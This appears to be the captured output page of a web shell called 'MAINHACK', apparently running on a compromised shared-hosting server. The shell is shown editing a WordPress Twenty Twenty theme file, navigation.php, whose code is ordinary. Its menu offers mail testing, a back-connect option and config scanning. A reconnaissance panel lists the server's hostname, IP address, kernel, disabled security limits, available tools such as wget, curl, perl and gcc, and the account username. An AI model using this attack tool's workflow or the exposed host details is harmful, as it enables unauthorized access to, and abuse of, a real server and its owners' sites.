[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: navigation.php
<?php /** * Displays the next and previous post navigation in single posts. * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ $next_post = get_next_post(); $prev_post = get_previous_post(); if ( $next_post || $prev_post ) { $pagination_classes = ''; if ( ! $next_post ) { $pagination_classes = ' only-one only-prev'; } elseif ( ! $prev_post ) { $pagination_classes = ' only-one only-next'; } ?> <nav class="pagination-single section-inner<?php echo esc_attr( $pagination_classes ); ?>" aria-label="<?php esc_attr_e( 'Post', 'twentytwenty' ); ?>" role="navigation"> <hr class="styled-separator is-style-wide" aria-hidden="true" /> <div class="pagination-single-inner"> <?php if ( $prev_post ) { ?> <a class="previous-post" href="<?php echo esc_url( get_permalink( $prev_post->ID ) ); ?>"> <span class="arrow" aria-hidden="true">←</span> <span class="title"><span class="title-inner"><?php echo wp_kses_post( get_the_title( $prev_post->ID ) ); ?></span></span> </a> <?php } if ( $next_post ) { ?> <a class="next-post" href="<?php echo esc_url( get_permalink( $next_post->ID ) ); ?>"> <span class="arrow" aria-hidden="true">→</span> <span class="title"><span class="title-inner"><?php echo wp_kses_post( get_the_title( $next_post->ID ) ); ?></span></span> </a> <?php } ?> </div><!-- .pagination-single-inner --> <hr class="styled-separator is-style-wide" aria-hidden="true" /> </nav><!-- .pagination-single --> <?php }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.47 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830